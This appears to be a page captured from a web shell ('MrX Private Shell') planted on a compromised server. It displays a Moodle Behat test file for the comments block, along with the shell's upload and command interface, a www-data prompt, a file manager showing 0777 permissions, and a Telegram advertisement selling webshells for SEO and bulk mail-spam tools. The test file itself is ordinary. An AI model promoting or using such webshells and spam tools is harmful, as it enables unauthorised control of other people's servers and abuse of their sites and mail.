__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
@block @block_comments
Feature: Add a comment to the comments block
  In order to comment on a conversation or a topic
  As a user
  In need to add comments to courses

  Background:
    Given the following "courses" exist:
      | fullname | shortname | category |
      | Course 1 | C1 | 0 |
    And the following "users" exist:
      | username | firstname | lastname | email |
      | teacher1 | Teacher | First | teacher1@example.com |
      | student1 | Student | First | student1@example.com |
    And the following "course enrolments" exist:
      | user | course | role |
      | teacher1 | C1 | editingteacher |
      | student1 | C1 | student |
    And the following "blocks" exist:
      | blockname | contextlevel | reference | pagetypepattern | defaultregion |
      | comments  | Course       | C1        | course-view-*   | side-pre      |
    And I am on the "Course 1" course page logged in as student1

  @javascript
  Scenario: Add a comment with Javascript enabled
    When I add "I'm a comment from student1" comment to comments block
    Then I should see "I'm a comment from student1"
    And I am on the "Course 1" course page logged in as teacher1
    And I should see "I'm a comment from student1"

  Scenario: Add a comment with Javascript disabled
    When I follow "Show comments"
    And I add "I'm a comment from student1" comment to comments block
    Then I should see "I'm a comment from student1"
    And I am on the "Course 1" course page logged in as teacher1
    And I follow "Show comments"
    And I should see "I'm a comment from student1"

  @javascript
  Scenario: Test comment block pagination
    When I add "Super test comment 01" comment to comments block
    And I change window size to "1024x4096"
    And I add "Super test comment 02" comment to comments block
    And I add "Super test comment 03" comment to comments block
    And I add "Super test comment 04" comment to comments block
    And I add "Super test comment 05" comment to comments block
    And I add "Super test comment 06" comment to comments block
    And I add "Super test comment 07" comment to comments block
    And I add "Super test comment 08" comment to comments block
    And I add "Super test comment 09" comment to comments block
    And I add "Super test comment 10" comment to comments block
    And I add "Super test comment 11" comment to comments block
    And I add "Super test comment 12" comment to comments block
    And I add "Super test comment 13" comment to comments block
    And I add "Super test comment 14" comment to comments block
    And I add "Super test comment 15" comment to comments block
    And I add "Super test comment 16" comment to comments block
    And I add "Super test comment 17" comment to comments block
    And I add "Super test comment 18" comment to comments block
    And I add "Super test comment 19" comment to comments block
    And I add "Super test comment 20" comment to comments block
    And I add "Super test comment 21" comment to comments block
    And I add "Super test comment 22" comment to comments block
    And I add "Super test comment 23" comment to comments block
    And I add "Super test comment 24" comment to comments block
    And I add "Super test comment 25" comment to comments block
    And I add "Super test comment 26" comment to comments block
    And I add "Super test comment 27" comment to comments block
    And I add "Super test comment 28" comment to comments block
    And I add "Super test comment 29" comment to comments block
    And I add "Super test comment 30" comment to comments block
    And I add "Super test comment 31" comment to comments block
    Then I should see "Super test comment 01"
    And I should see "Super test comment 31"
    And I am on "Course 1" course homepage
    And I should not see "Super test comment 01"
    And I should not see "Super test comment 02"
    And I should not see "Super test comment 16"
    And I should see "Super test comment 17"
    And I should see "Super test comment 31"
    And I should see "1" in the ".block_comments .comment-paging" "css_element"
    And I should see "2" in the ".block_comments .comment-paging" "css_element"
    And I should see "3" in the ".block_comments .comment-paging" "css_element"
    And I should not see "4" in the ".block_comments .comment-paging" "css_element"
    And I click on "2" "link" in the ".block_comments .comment-paging" "css_element"
    And I should not see "Super test comment 01"
    And I should see "Super test comment 02"
    And I should see "Super test comment 16"
    And I should not see "Super test comment 17"
    And I should not see "Super test comment 31"
    And I click on "3" "link" in the ".block_comments .comment-paging" "css_element"
    And I should see "Super test comment 01"
    And I should not see "Super test comment 02"
    And I should not see "Super test comment 16"
    And I should not see "Super test comment 17"
    And I should not see "Super test comment 31"
    And I click on "1" "link" in the ".block_comments .comment-paging" "css_element"
    And I should not see "Super test comment 01"
    And I should not see "Super test comment 02"
    And I should not see "Super test comment 16"
    And I should see "Super test comment 17"
    And I should see "Super test comment 31"

Filemanager

Name Type Size Permission Actions
add_comment.feature File 5.21 KB 0777
behat_block_comments.php File 4.27 KB 0777
block_comment_activity.feature File 1.49 KB 0777
block_comment_dashboard.feature File 1.14 KB 0777
block_comment_frontpage.feature File 958 B 0777
delete_comment.feature File 1.37 KB 0777
Filemanager